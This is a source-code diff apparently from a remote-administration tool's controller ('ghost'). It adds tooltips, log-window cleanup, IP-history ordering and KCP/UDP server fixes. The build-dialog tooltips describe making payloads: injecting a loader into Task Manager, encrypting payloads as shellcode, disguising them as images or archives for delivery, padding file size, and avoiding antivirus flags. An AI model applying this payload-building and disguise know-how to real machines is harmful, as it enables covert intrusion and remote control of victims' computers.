||||
g_Lang.ClearLangDir();
|
||||
g_Lang.Load(lang.c_str()); // 加载语言(优先内嵌资源,再覆盖磁盘文件)
|
||||
Mprintf("语言: %s, 目录: %s\n", lang.c_str(), langDir.c_str());
|
||||
|
||||
|
||||
Binary file not shown.
File diff suppressed because it is too large.
Load diff
@@ -474,6 +474,7 @@ public:
|
||||
bool PromoteStandby(uint64_t clientID); // 旧连接移除后,取替补转正(需持有 m_cs);返回是否真的转正
|
||||
|
||||
CStatusBar m_StatusBar; //状态条
|
||||
CString m_sToolTipText; // TTN_NEEDTEXT 回填文本:提示显示期间须保持有效
|
||||
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
|
||||
CString m_strExpireDate; // 到期日期 (YYYYMMDD),空表示无授权
|
||||
CString m_strFrpAddr; // FRP 地址 (IP:Port),由上级提供
|
||||
@@ -484,6 +485,18 @@ public:
|
||||
int m_nPaneExpireWidth = 0; // 到期时间分区宽度(按当前文本实测;0 = 无授权/隐藏)
|
||||
void UpdateStatusBarStats(); // 更新状态栏统计信息
|
||||
void LayoutStatusPanes(); // 按窗口宽度布置状态栏分区(空间不足时按优先级隐藏)
|
||||
// 工具栏按钮 / 状态栏分区的悬浮提示。文本在 TTN_NEEDTEXT 时现算,
|
||||
// 以便语言切换、TLS/MCP/FRP/运行/到期状态变化后立即生效。
|
||||
CString BuildToolBarTip(UINT cmdId) const;
|
||||
CString BuildStatusTip(UINT paneId) const;
|
||||
CString BuildTipText(UINT_PTR nID, UINT uFlags) const;
|
||||
afx_msg BOOL OnToolTipText(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL OnToolTipTextW(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
std::wstring m_sToolTipTextW; // Unicode 提示文本(状态栏是 Unicode 窗口,发 TTN_NEEDTEXTW)
|
||||
mutable int m_statusTipPane = -1; // OnToolHitTest 命中的状态栏分区下标,供 NEEDTEXT 复用
|
||||
// 状态栏 pane 不是子窗口,CStatusBar 没有 pane 级命中;由对话框的
|
||||
// OnToolHitTest 命中 pane(返回 0x7000+index 并记录下标),NEEDTEXT 时按该下标取文本。
|
||||
INT_PTR OnToolHitTest(CPoint point, TOOLINFO* pTI) const override;
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
CGridDialog * m_gridDlg = NULL;
|
||||
std::vector<DllInfo*> m_DllList;
|
||||
@@ -506,8 +519,13 @@ public:
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[77];
|
||||
CBitmap m_bmCompressZstd; // 实验功能→线缆压缩:ZSTD
|
||||
CBitmap m_bmCompressZlib; // 实验功能→线缆压缩:ZLIB
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
// 每台主机只保留一个客户端运行日志窗口:clientID -> 窗口句柄。
|
||||
// 窗口关掉后这里可能留下失效句柄,下次打开时会用 IsWindow/ClientID 校验并清理。
|
||||
std::map<uint64_t, HWND> m_LogDlgWindows;
|
||||
FileTransformCmd m_CmdList;
|
||||
CDialogBase* GetRemoteWindow(HWND hWnd);
|
||||
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
||||
@@ -571,6 +589,8 @@ public:
|
||||
// 获取有效的主控地址(优先使用上级FRP配置)
|
||||
// 返回值:是否使用了FRP地址
|
||||
static bool GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat=false);
|
||||
// 本地是否已启用自有 FRP(UseFrp + 主控地址;仅 64 位主控)
|
||||
static bool IsLocalFrpEnabled();
|
||||
void StartFrpcAuto(const FrpAutoConfig& cfg);
|
||||
void StopFrpcAuto();
|
||||
void InitFrpcAuto(); // 启动时自动恢复
|
||||
@@ -597,11 +617,21 @@ public:
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnExperimentTlsEnable();
|
||||
afx_msg void OnExperimentTlsDisable();
|
||||
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS
|
||||
// 线缆压缩切换(实验功能子菜单):写客户端配置并触发立即重连(zstd / zlib)
|
||||
afx_msg void OnExperimentCompressZstd();
|
||||
afx_msg void OnExperimentCompressZlib();
|
||||
VOID SwitchSelectedCompression(const char* mode);
|
||||
// 协议切换(在线列表右键菜单,与「实验功能」平级):直连 TCP / WS / WSS / UDP / KCP
|
||||
afx_msg void OnProtoSwitchTcp();
|
||||
afx_msg void OnProtoSwitchWs();
|
||||
afx_msg void OnProtoSwitchWss();
|
||||
afx_msg void OnProtoSwitchUdp();
|
||||
afx_msg void OnProtoSwitchKcp();
|
||||
VOID SwitchSelectedProtocol(UINT nID);
|
||||
// 实验传输 UDP/KCP 各自监听的端口(来自 settings 的 ghost / UDPOption 平行列表;
|
||||
// 0 = 主控没有配置该传输,菜单置灰)
|
||||
int m_udpSwitchPort = 0;
|
||||
int m_kcpSwitchPort = 0;
|
||||
// 选中主机当前的真实传输(PROTO_TCP / PROTO_WS / PROTO_WSS)。多选取第一个可识别的;
|
||||
// 一个都没有(HTTP 伪装 / UDP / KCP / 没选中主机)返回 -1。分享与转移都用它给新建
|
||||
// 链路定传输:-1 表示「不下发」,让对端沿用出包时烘焙的值。
|
||||
|
||||
@@ -107,6 +107,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -142,6 +143,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
@@ -177,6 +179,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -214,6 +217,7 @@
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<ModuleDefinitionFile>server_exports.def</ModuleDefinitionFile>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
@@ -239,6 +243,7 @@
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="server_exports.def" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
<None Include="..\..\Release\TestRun.exe" />
|
||||
<None Include="..\..\Release\TinyRun.dll" />
|
||||
@@ -528,7 +533,11 @@
|
||||
<ClCompile Include="CIconButton.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
<ResourceCompile Include="2015Remote.rc">
|
||||
<!-- 语言包以 RCDATA 内嵌进 exe;不声明依赖时只改 lang\*.ini 不会重跑
|
||||
rc.exe,内嵌翻译会一直停留在旧版本。 -->
|
||||
<AdditionalDependencies>lang\en_US.ini;lang\zh_TW.ini;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\2015Remote.ico" />
|
||||
|
||||
@@ -972,8 +972,91 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
// 运行时创建的控件不继承对话框字体(模板里的控件是对话框管理器按 DS_SETFONT 设的),
|
||||
// 不显式设置就会用系统默认字体,和旁边的下拉框、单选按钮对不上。
|
||||
m_ChkTlsAnchor.SetFont(GetFont());
|
||||
// 运行期创建的控件落在同级 z-order 最底层,会被“通用”分组框盖住:
|
||||
// 工具提示的中继按 ChildWindowFromPoint 找窗口时会先命中分组框。提到最前。
|
||||
m_ChkTlsAnchor.SetWindowPos(&CWnd::wndTop, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
UpdateTlsAnchorState();
|
||||
|
||||
// 各输入控件的悬浮提示。长提示用 \n 手动换行;隐藏/禁用状态由 OnToolHitTest 处理。
|
||||
m_tips.clear();
|
||||
m_tips[IDC_COMBO_EXE] = _TR(
|
||||
"要生成的载荷形态:\n"
|
||||
"TestRun 是测试加载器(磁盘/内存 DLL、注入任务管理器);\n"
|
||||
"ghost.exe 是独立客户端;ServerDll.dll / TinyRun.dll 是模块;\n"
|
||||
"还有 Windows 服务、SYSTEM 以及 Linux/macOS/Android 预编译模板。\n"
|
||||
"最后一项「选择文件」可指定自定义程序。");
|
||||
m_tips[IDC_COMBO_BITS] = _TR(
|
||||
"生成 Windows 载荷的位数:64 位 / 32 位。\n"
|
||||
"Linux、macOS、Android 为固定架构,此项会自动置灰。");
|
||||
m_tips[IDC_COMBO_RUNTYPE] = _TR(
|
||||
"配置了多个主控地址时的上线方式:\n"
|
||||
"随机上线:每次连接随机选一个地址;\n"
|
||||
"并发上线:同时连接全部地址(每个地址一个实例)。");
|
||||
m_tips[IDC_EDIT_IP] = _TR(
|
||||
"客户端连接的主控地址。\n"
|
||||
"可填多个,用英文分号分隔,最多 99 字符。\n"
|
||||
"「随机上线」每次随机选一个;「并发上线」同时连接全部。\n"
|
||||
"可填 IP 或域名;走 FRP 时填 FRP 服务器地址。");
|
||||
m_tips[IDC_COMBO_PROTO] = _TR(
|
||||
"客户端连接主控使用的传输协议。\n"
|
||||
"TCP/UDP/HTTP/KCP 直连;WebSocket、WS+TLS 需经反向代理。\n"
|
||||
"KCP 还要求主控 ghost/UDPOption 把对应端口配成 KCP;\n"
|
||||
"「随机」在 TCP/UDP/HTTP 中随机选择。");
|
||||
m_tips[IDC_EDIT_PORT] = _TR(
|
||||
"主控监听端口,默认 6543。\n"
|
||||
"WS/WSS 走反向代理时填反代入口端口(如 443)。\n"
|
||||
"必须与主控实际监听/映射的端口一致。");
|
||||
m_tips[IDC_COMBO_ENCRYPT] = _TR(
|
||||
"上线报文头的加密变体(Shine / HELL),默认 HELL。\n"
|
||||
"只影响报文头的混淆方式,不影响数据正文加密。");
|
||||
m_tips[IDC_COMBO_COMPRESS] = _TR(
|
||||
"生成后的处理方式:\n"
|
||||
"无:原样输出;UPX:压缩(体积小,易被杀软标记);\n"
|
||||
"ShellCode AES:转成 AES 加密的 shellcode(可配合下载服务);\n"
|
||||
"PE→ShellCode:把 PE 转成 shellcode;ShellCode BIN:输出裸 shellcode。\n"
|
||||
"仅 Windows 目标可用。");
|
||||
m_tips[IDC_EDIT_GROUPNAME] = _TR(
|
||||
"客户端上报的分组名,主控在线列表按它归类显示。\n"
|
||||
"留空时按默认分组处理。");
|
||||
m_tips[IDC_COMBO_INSTALL_LOC] = _TR(
|
||||
"客户端安装目录的根位置:\n"
|
||||
"ProgramData / APPDATA / LOCALAPPDATA 不需要管理员权限;\n"
|
||||
"ProgramFiles、SystemRoot 需要管理员权限(安装时会提权)。");
|
||||
m_tips[IDC_EDIT_INSTALL_DIR] = _TR(
|
||||
"在上述根目录下创建的子目录名,最长 31 字符。\n"
|
||||
"留空时按载荷类型使用默认目录(如 Windows Ghost)。\n"
|
||||
"反复在同一台电脑测试时,建议配合不同的程序名称使用不同子目录。");
|
||||
m_tips[IDC_EDIT_INSTALL_NAME] = _TR(
|
||||
"生成的文件名/服务名(不含扩展名),最长 31 字符。\n"
|
||||
"建议每次测试都换一个名称,并配合不同的子目录。\n"
|
||||
"留空会使用默认名称/默认位置:同一台电脑反复安装时,\n"
|
||||
"可能与残留进程或旧文件冲突,安装不会自动替换,\n"
|
||||
"表现为客户端不上线。");
|
||||
// 滑块的实际提示在 OnToolTipNotify 里按当前位置生成(含 MB 数);这里仅用于命中登记。
|
||||
m_tips[IDC_SLIDER_CLIENT_SIZE] = _TR(
|
||||
"在文件末尾填充随机数据改变体积(0~256 MB),不影响运行。");
|
||||
m_tips[IDC_COMBO_PAYLOAD] = _TR(
|
||||
"仅 ShellCode AES 模式显示:载荷的封装形态。\n"
|
||||
"可写入当前程序尾部、单独的二进制文件,\n"
|
||||
"或 BMP/JPG/PNG/ZIP/PDF 等文件,\n"
|
||||
"用于把载荷伪装成图片、压缩包等再投递。");
|
||||
m_tips[IDC_CHECK_FILESERVER] = _TR(
|
||||
"启用后载荷通过 HTTP 下载投递:\n"
|
||||
"文件放到程序的 Payloads 目录,或填写下载地址;\n"
|
||||
"受管机器上线时按地址下载载荷。\n"
|
||||
"仅 ShellCode AES 且载荷不是「当前程序尾部」时可用。");
|
||||
m_tips[IDC_EDIT_DOWNLOAD_URL] = _TR(
|
||||
"载荷下载地址(http/https),最长 255 字符。\n"
|
||||
"留空时默认用本机 Web 端口:\n"
|
||||
"http://<主控IP>:<Web端口>/payloads/<文件名>。\n"
|
||||
"仅勾选「下载服务」时显示。");
|
||||
m_tips[IDC_CHECK_TLS_ANCHOR] = _TR(
|
||||
"勾选后把服务端 TLS 证书锚写进载荷,首次连接即加密,避免首连明文。\n"
|
||||
"仅 Windows 客户端模板、TCP/HTTP 协议且服务端已启用 TLS 时可用;\n"
|
||||
"不可用时复选框文案会直接写明原因。");
|
||||
EnableToolTips(TRUE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
@@ -1244,20 +1327,60 @@ void CBuildDlg::OnCbnSelchangeComboCompress()
|
||||
}
|
||||
}
|
||||
|
||||
INT_PTR CBuildDlg::OnToolHitTest(CPoint point, TOOLINFO* pTI) const
|
||||
{
|
||||
// 内建工具提示默认按单行绘制(未设 TTM_SETMAXTIPWIDTH 时 \n 也不生效)。
|
||||
AFX_MODULE_THREAD_STATE* ts = AfxGetModuleThreadState();
|
||||
if (ts != nullptr && ts->m_pToolTip != nullptr && ts->m_pToolTip->GetSafeHwnd() != nullptr)
|
||||
ts->m_pToolTip->SetMaxTipWidth(600);
|
||||
|
||||
// point 是对话框客户区坐标。逐个登记过提示的可见控件做矩形命中,不依赖鼠标
|
||||
// 消息落在哪个窗口:combo 的内部编辑框、禁用控件都能命中;隐藏控件跳过。
|
||||
for (const auto& kv : m_tips) {
|
||||
CWnd* w = GetDlgItem(kv.first);
|
||||
if (w == nullptr || !w->IsWindowVisible())
|
||||
continue;
|
||||
CRect rc;
|
||||
w->GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
if (!rc.PtInRect(point))
|
||||
continue;
|
||||
if (pTI != nullptr) {
|
||||
pTI->hwnd = m_hWnd;
|
||||
pTI->uId = (UINT_PTR)w->GetSafeHwnd();
|
||||
pTI->uFlags |= TTF_IDISHWND;
|
||||
// 与 MFC 默认实现一致:非按钮控件让提示居中。
|
||||
if (!(::SendMessage(w->GetSafeHwnd(), WM_GETDLGCODE, 0, 0) & DLGC_BUTTON))
|
||||
pTI->uFlags |= TTF_NOTBUTTON | TTF_CENTERTIP;
|
||||
pTI->lpszText = LPSTR_TEXTCALLBACK;
|
||||
}
|
||||
return (INT_PTR)kv.first;
|
||||
}
|
||||
return -1; // 其余控件(按钮等)不加提示
|
||||
}
|
||||
|
||||
BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
TOOLTIPTEXTA* pTTT = (TOOLTIPTEXTA*)pNMHDR;
|
||||
UINT nID = pNMHDR->idFrom;
|
||||
TOOLTIPTEXT* pTTT = (TOOLTIPTEXT*)pNMHDR;
|
||||
UINT nID = (UINT)pNMHDR->idFrom;
|
||||
if (pTTT->uFlags & TTF_IDISHWND) {
|
||||
// idFrom is actually the HWND of the tool
|
||||
nID = ::GetDlgCtrlID((HWND)nID);
|
||||
nID = (UINT)::GetDlgCtrlID((HWND)nID);
|
||||
}
|
||||
if (nID == IDC_SLIDER_CLIENT_SIZE) {
|
||||
int size = m_SliderClientSize.GetPos() * 2.56;
|
||||
sprintf_s(pTTT->szText, "%dM", size);
|
||||
int size = (int)(m_SliderClientSize.GetPos() * 2.56);
|
||||
// szText 只有 80 字符,翻译后的长句放不下;改用成员 CString + lpszText。
|
||||
m_sliderTip.Format(_TRF("程序增肥:填充 %d MB(0~256 MB)。\n在文件末尾填充随机数据改变体积,不影响运行。"), size);
|
||||
pTTT->lpszText = const_cast<LPTSTR>((LPCTSTR)m_sliderTip);
|
||||
return TRUE;
|
||||
}
|
||||
return FALSE;
|
||||
auto it = m_tips.find(nID);
|
||||
if (it == m_tips.end())
|
||||
return FALSE;
|
||||
// 指向成员里的 CString:生命周期覆盖提示显示期间,也避开 szText 的 80 字符限制。
|
||||
pTTT->lpszText = const_cast<LPTSTR>((LPCTSTR)it->second);
|
||||
if (pResult) *pResult = 0;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
#include "Buffer.h"
|
||||
#include "LangManager.h"
|
||||
#include <map>
|
||||
|
||||
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||||
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||||
@@ -62,6 +63,11 @@ protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
CString GetFilePath(CString type, CString filter, BOOL isOpen = TRUE);
|
||||
BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
// 生成对话框各输入控件的悬浮提示(MFC 内建工具提示,与设置对话框一致):
|
||||
// OnToolHitTest 按控件矩形命中,TTN_NEEDTEXT 按控件 ID 提供多行文本。
|
||||
std::map<UINT, CString> m_tips; // 控件 ID -> 提示文本
|
||||
CString m_sliderTip; // 滑块提示(按当前位置动态生成)
|
||||
virtual INT_PTR OnToolHitTest(CPoint point, TOOLINFO* pTI) const;
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
@@ -25,6 +25,7 @@ void CClientLog::DoDataExchange(CDataExchange* pDX)
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CClientLog, CDialogBase)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_DESTROY()
|
||||
ON_WM_SIZE()
|
||||
ON_MESSAGE(WM_REPORT_CLIENT_LOG, OnReportLog)
|
||||
@@ -50,8 +51,25 @@ void CClientLog::OnSize(UINT nType, int cx, int cy)
|
||||
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
|
||||
}
|
||||
|
||||
void CClientLog::OnClose()
|
||||
{
|
||||
// 关闭前先断开日志子连接:客户端日志推送线程以 IsConnected 为循环条件,
|
||||
// 不关子连接会一直往已销毁的窗口推增量;同时把上下文里的对话框指针摘掉,
|
||||
// 避免 Close 期间的迟到包再次 PostMessage 到已释放的对象。
|
||||
if (m_ContextObject && m_ContextObject->hDlg == this) {
|
||||
m_ContextObject->hDlg = nullptr;
|
||||
m_ContextObject->hWnd = nullptr;
|
||||
}
|
||||
CancelIO();
|
||||
CDialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CClientLog::OnDestroy()
|
||||
{
|
||||
if (m_ContextObject && m_ContextObject->hDlg == this) {
|
||||
m_ContextObject->hDlg = nullptr;
|
||||
m_ContextObject->hWnd = nullptr;
|
||||
}
|
||||
if (m_ContextObject && m_bConnected) {
|
||||
BYTE cmd = COMMAND_BYE;
|
||||
m_ContextObject->Send2Client(&cmd, 1);
|
||||
@@ -59,6 +77,12 @@ void CClientLog::OnDestroy()
|
||||
CDialogBase::OnDestroy();
|
||||
}
|
||||
|
||||
void CClientLog::ResetLog(const std::string& text)
|
||||
{
|
||||
m_editLog.SetWindowText(_T(""));
|
||||
AppendLog(text);
|
||||
}
|
||||
|
||||
void CClientLog::AppendLog(const std::string& text)
|
||||
{
|
||||
if (text.empty()) return;
|
||||
|
||||
@@ -12,10 +12,13 @@ public:
|
||||
|
||||
virtual void OnReceiveComplete();
|
||||
void AppendLog(const std::string& text);
|
||||
// 复用窗口(同一主机再次打开日志)时清空并重填整份快照
|
||||
void ResetLog(const std::string& text);
|
||||
|
||||
protected:
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnDestroy();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg LRESULT OnReportLog(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
@@ -906,6 +906,16 @@ void CLicenseDlg::OnLicenseViewIPs()
|
||||
start = end + 1;
|
||||
}
|
||||
|
||||
// 按最后活跃时间倒序展示(新的在前);无时间戳/无法解析的记录排在最后。
|
||||
// 存储侧已保证最近上报的条目在前,这里再做一次稳定排序,兼容旧版本写下的
|
||||
// "首次出现倒序" 数据,打开对话框即可看到正确的顺序。
|
||||
std::stable_sort(records.begin(), records.end(),
|
||||
[](const IPRecord& a, const IPRecord& b) {
|
||||
int da = (a.daysAgo < 0) ? 0x7FFFFFFF : a.daysAgo;
|
||||
int db = (b.daysAgo < 0) ? 0x7FFFFFFF : b.daysAgo;
|
||||
return da < db;
|
||||
});
|
||||
|
||||
// 如果有记录被删除,保存更新后的 IP 列表
|
||||
if (removedCount > 0) {
|
||||
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||
|
||||
@@ -251,6 +251,11 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
|
||||
|
||||
// IP 列表管理常量
|
||||
#define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
|
||||
// 单个 IP 值总字节数上限。Win32 profile API 对单个值有约 64KB 的硬限制:
|
||||
// 值超过后 GetPrivateProfileStringA 只返回被截断的尾部,而
|
||||
// WritePrivateProfileStringA 会把整行再追加一遍(实测 66KB 的值读回 464 字节、
|
||||
// 文件膨胀到两倍),之后的读改写会永久写坏历史。留出余量按 60KB 控制。
|
||||
#define MAX_IP_LIST_BYTES 60000
|
||||
|
||||
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
|
||||
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
|
||||
@@ -306,7 +311,8 @@ static std::string SerializeIPList(const std::vector<std::pair<std::string, std:
|
||||
return result;
|
||||
}
|
||||
|
||||
// 更新 IP 列表:添加新 IP 或更新已有 IP 的时间戳
|
||||
// 更新 IP 列表:添加新 IP 或刷新已有 IP 的时间戳,并按最后活跃时间倒序排列
|
||||
// (最近上报的条目始终在最前,查看 IP 历史时即为倒序)。
|
||||
// 格式: IP(机器名)|时间戳,例如 "1.2.3.4(PC01)|260219" (yyMMdd 格式)
|
||||
// 返回更新后的 IP 列表字符串
|
||||
static std::string UpdateIPList(const std::string& existingIPList, const std::string& newIP, const std::string& machineName = "")
|
||||
@@ -341,11 +347,12 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
|
||||
};
|
||||
|
||||
// 查找是否已存在该 IP(只比较 IP 部分,兼容旧格式)
|
||||
// 命中的条目连同新时间戳移到列表开头:列表顺序 = 最后活跃时间倒序
|
||||
bool found = false;
|
||||
for (auto& entry : ipList) {
|
||||
if (extractIP(entry.first) == newIP) {
|
||||
entry.first = ipKey; // 更新为新格式(带机器名)
|
||||
entry.second = timestamp; // 更新时间戳
|
||||
for (auto it = ipList.begin(); it != ipList.end(); ++it) {
|
||||
if (extractIP(it->first) == newIP) {
|
||||
ipList.erase(it);
|
||||
ipList.insert(ipList.begin(), { ipKey, timestamp });
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
@@ -354,11 +361,27 @@ static std::string UpdateIPList(const std::string& existingIPList, const std::st
|
||||
if (!found) {
|
||||
// 新 IP,添加到开头(最近的在前)
|
||||
ipList.insert(ipList.begin(), { ipKey, timestamp });
|
||||
}
|
||||
|
||||
// 限制数量
|
||||
if (ipList.size() > MAX_IP_HISTORY) {
|
||||
ipList.resize(MAX_IP_HISTORY);
|
||||
}
|
||||
// 限制数量:达到上限时淘汰尾部(最久未活跃)的记录,保证新记录始终写得进去
|
||||
if (ipList.size() > MAX_IP_HISTORY) {
|
||||
ipList.resize(MAX_IP_HISTORY);
|
||||
}
|
||||
|
||||
// 限制字节数:尾部(最久未活跃)继续淘汰,避免单个值越过 INI 的 64KB 上限后
|
||||
// 读写整体失效(见 MAX_IP_LIST_BYTES 注释)。机器名很长时条数没到上限也会触发。
|
||||
size_t totalBytes = 0;
|
||||
for (size_t i = 0; i < ipList.size(); ++i) {
|
||||
totalBytes += ipList[i].first.size();
|
||||
if (!ipList[i].second.empty()) totalBytes += 1 + ipList[i].second.size();
|
||||
if (i > 0) totalBytes += 2; // ", " 分隔符
|
||||
}
|
||||
while (ipList.size() > 1 && totalBytes > MAX_IP_LIST_BYTES) {
|
||||
const auto& last = ipList.back();
|
||||
totalBytes -= last.first.size();
|
||||
if (!last.second.empty()) totalBytes -= 1 + last.second.size();
|
||||
totalBytes -= 2; // 去掉它前面的 ", "
|
||||
ipList.pop_back();
|
||||
}
|
||||
|
||||
return SerializeIPList(ipList);
|
||||
|
||||
@@ -68,7 +68,12 @@ CHideScreenSpyDlg::CHideScreenSpyDlg(CWnd* pParent, Server* pIOCPServer, ClientC
|
||||
CHideScreenSpyDlg::~CHideScreenSpyDlg()
|
||||
{
|
||||
m_bIsClosed = TRUE;
|
||||
m_ContextObject->GetServer()->Disconnect(m_ContextObject);
|
||||
// UDP/KCP 主连接上下文归服务端的地址映射所有,这里断开会把在线客户端
|
||||
// 从映射里摘掉(宿主列表留下悬空项)。只有子连接(TCP)才需要这里断开。
|
||||
const std::string proto = m_ContextObject->GetProtocol();
|
||||
if (proto != "UDP" && proto != "KCP") {
|
||||
m_ContextObject->GetServer()->Disconnect(m_ContextObject);
|
||||
}
|
||||
DestroyIcon(m_hIcon);
|
||||
Sleep(200);
|
||||
|
||||
|
||||
@@ -25,9 +25,14 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s
|
||||
|
||||
auto it = m_clients.find(key);
|
||||
if (it != m_clients.end()) {
|
||||
it->second->IoRefCount.fetch_add(1);
|
||||
return it->second;
|
||||
}
|
||||
|
||||
// 防止地址枚举/扫描把映射和内存撑爆(与 UDP 服务端一致)。
|
||||
if ((int)m_clients.size() >= m_maxConn)
|
||||
return nullptr;
|
||||
|
||||
// 新建 CONTEXT_KCP
|
||||
CONTEXT_KCP* ctx = new CONTEXT_KCP();
|
||||
ctx->InitMember(sClientSocket, this);
|
||||
@@ -36,6 +41,10 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s
|
||||
// 初始化 kcp
|
||||
IUINT32 conv = KCP_SESSION_ID;
|
||||
ctx->kcp = ikcp_create(conv, ctx);
|
||||
if (!ctx->kcp) {
|
||||
delete ctx;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ctx->kcp->output = [](const char* buf, int len, ikcpcb* kcp, void* user) -> int {
|
||||
CONTEXT_KCP* c = (CONTEXT_KCP*)user;
|
||||
@@ -59,6 +68,9 @@ CONTEXT_KCP* IOCPKCPServer::FindOrCreateClient(const sockaddr_in& addr, SOCKET s
|
||||
|
||||
m_clients[key] = ctx;
|
||||
|
||||
// 与 UDP 服务端一致:在锁内加引用,避免和 Disconnect 的「摘映射 + 置删除标记」
|
||||
// 交错,导致收包线程拿到地址后访问已释放的上下文。
|
||||
ctx->IoRefCount.fetch_add(1);
|
||||
return ctx;
|
||||
}
|
||||
|
||||
@@ -73,6 +85,13 @@ UINT IOCPKCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc
|
||||
m_socket = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (m_socket == INVALID_SOCKET) return 2;
|
||||
|
||||
// 大消息(预览响应)一次 flush 会连发几十个分片;默认接收缓冲偏小,
|
||||
// 用户态来不及读就会丢包,KCP 只能重传,表现为“特别慢”。加大到 1MB。
|
||||
{
|
||||
int rcvbuf = 1024 * 1024;
|
||||
setsockopt(m_socket, SOL_SOCKET, SO_RCVBUF, (const char*)&rcvbuf, sizeof(rcvbuf));
|
||||
}
|
||||
|
||||
sockaddr_in addr{};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(uPort);
|
||||
@@ -109,29 +128,46 @@ void IOCPKCPServer::WorkerThread()
|
||||
int ret = recvfrom(m_socket, buf, sizeof(buf), 0, (sockaddr*)&clientAddr, &addrLen);
|
||||
if (ret > 0) {
|
||||
CONTEXT_KCP* ctx = FindOrCreateClient(clientAddr, m_socket);
|
||||
if (ctx && ctx->kcp) {
|
||||
if (ctx != nullptr) {
|
||||
if (!ctx->kcp) {
|
||||
ctx->ReleaseIoRef();
|
||||
